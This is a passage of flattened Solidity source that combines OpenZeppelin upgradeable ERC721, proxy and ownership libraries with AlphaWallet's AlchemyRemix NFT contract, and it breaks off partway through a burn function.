https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } uint256[44] private __gap; } // File @openzeppelin/contracts/utils/[email protected] pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts-upgradeable/proxy/beacon/[email protected] pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeaconUpgradeable { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // File @openzeppelin/contracts-upgradeable/utils/[email protected] pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // File @openzeppelin/contracts-upgradeable/proxy/ERC1967/[email protected] pragma solidity ^0.8.2; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967UpgradeUpgradeable is Initializable { function __ERC1967Upgrade_init() internal initializer { __ERC1967Upgrade_init_unchained(); } function __ERC1967Upgrade_init_unchained() internal initializer { } // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; _functionDelegateCall( newImplementation, abi.encodeWithSignature( "upgradeTo(address)", oldImplementation ) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _setImplementation(newImplementation); emit Upgraded(newImplementation); } } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { _functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require( AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract" ); require( AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } uint256[50] private __gap; } // File @openzeppelin/contracts-upgradeable/proxy/utils/[email protected] pragma solidity ^0.8.0; /** * @dev Base contract for building openzeppelin-upgrades compatible implementations for the {ERC1967Proxy}. It includes * publicly available upgrade functions that are called by the plugin and by the secure upgrade mechanism to verify * continuation of the upgradability. * * The {_authorizeUpgrade} function MUST be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ */ abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal initializer { __ERC1967Upgrade_init_unchained(); __UUPSUpgradeable_init_unchained(); } function __UUPSUpgradeable_init_unchained() internal initializer { } function upgradeTo(address newImplementation) external virtual { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, bytes(""), false); } function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, data, true); } function _authorizeUpgrade(address newImplementation) internal virtual; uint256[50] private __gap; } // File @openzeppelin/contracts-upgradeable/access/[email protected] pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // File contracts/AddressUtil.sol /* Similar to @openzeppelin/contracts/utils/Address.sol * but we can't use that because Address.sol contains * "delegatecall" and hardhat completely denies "delegatecall" * in logic contract and throws error. Added by Oleg */ pragma solidity ^0.8.4; library AddressUtil { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // File contracts/interface/IAlchemyRemix.sol /* Mintable interface contract for providing interface to Remix Token for Retort contract of NFTs */ /* AlphaWallet 2021 */ pragma solidity ^0.8.4; //Represents exactly which token stored in the Retort the Remix token corresponds to struct RemixCommit { uint256 commitmentId; uint256 commitmentIndex; } interface IAlchemyRemix is IERC721Upgradeable { function mintUsingSequentialTokenId(address to, RemixCommit memory commitmentEntry) external returns (uint256 tokenId); } // File contracts/interface/IAlchemyRetort.sol /* Retort contract for handling offer commitment and 'transmogrification' of NFTs */ /* AlphaWallet 2021 */ pragma solidity ^0.8.4; pragma experimental ABIEncoderV2; interface IAlchemyRetort { function deliver (uint256 commitmentId, bytes memory nftAttestation) external returns (uint256 committedAmount, address payable subjectAddress); function pay (uint256 commitmentId, uint256 amount, address payable beneficiary) external; function unwrapToken (RemixCommit memory commitmentEntry, address remixOwner) external; } // File contracts/AlchemyRemix.sol pragma solidity ^0.8.0; contract AlchemyRemixData { address payable _contractOwner; address public _alchemyRetort; address public _verifyAttestation; string constant JSON_FILE = ".json"; string constant _alchemyURI = "https://alchemynft.io/"; uint256 public _tokenIdIndex; // Mapping from token ID to commitmentId mapping (uint256 => RemixCommit) public _tokenCommitmentIds; } // Context removed, because OwnableUpgradeable contains ContextUpgradeable contract AlchemyRemix is ERC721Upgradeable, IAlchemyRemix, UUPSUpgradeable, OwnableUpgradeable, AlchemyRemixData { // replaced Address lib with custom MyAddress to avoid delegateCall (its not allowed for Proxied contract) using AddressUtil for address; using Strings for uint256; // Token data string constant _name = "Alchemy Remix Token"; string constant _symbol = "AMX"; // its enough to test bu modifier onlyOwner, other checks, like isContract() , is contain upgradeTo() method implemented by UUPSUpgradeable function _authorizeUpgrade(address) internal override onlyOwner {} // this function name required, Hardhat use it to call initialize() on proxy deploy step function initialize(address alchemyRetort, address verifyAttestation) public initializer { //require(alchemyRetort.isContract(),"Retort address must be a contract"); // <--- removed because at pre-init this isn't built yet require(verifyAttestation.isContract(),"VerifyAttestation address must be a contract"); __Ownable_init(); _alchemyRetort = alchemyRetort; //set once, never changes _verifyAttestation = verifyAttestation; //can be updated _tokenIdIndex = 1; //set once, can never be set again (contract updates this value) } function reconfigure(address verifyAttestation) public onlyOwner { require(verifyAttestation.isContract(),"VerifyAttestation address must be a contract"); _verifyAttestation = verifyAttestation; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return string(abi.encodePacked(_alchemyURI, block.chainid.toString(), "/", contractAddress(), "/", tokenId.toString(), JSON_FILE)); } function contractURI() public pure returns (string memory) { return "https://alchemynft.io/contracts/amx.json"; } function mintUsingSequentialTokenId(address to, RemixCommit memory commitmentEntry) public override returns (uint256 tokenId) { require(_alchemyRetort == msg.sender, "Minting not permitted"); //uncomment to restrict minting tokenId = _tokenIdIndex; _mint(to, tokenId); _tokenCommitmentIds[tokenId] = commitmentEntry; _tokenIdIndex++; } function burn(uint256 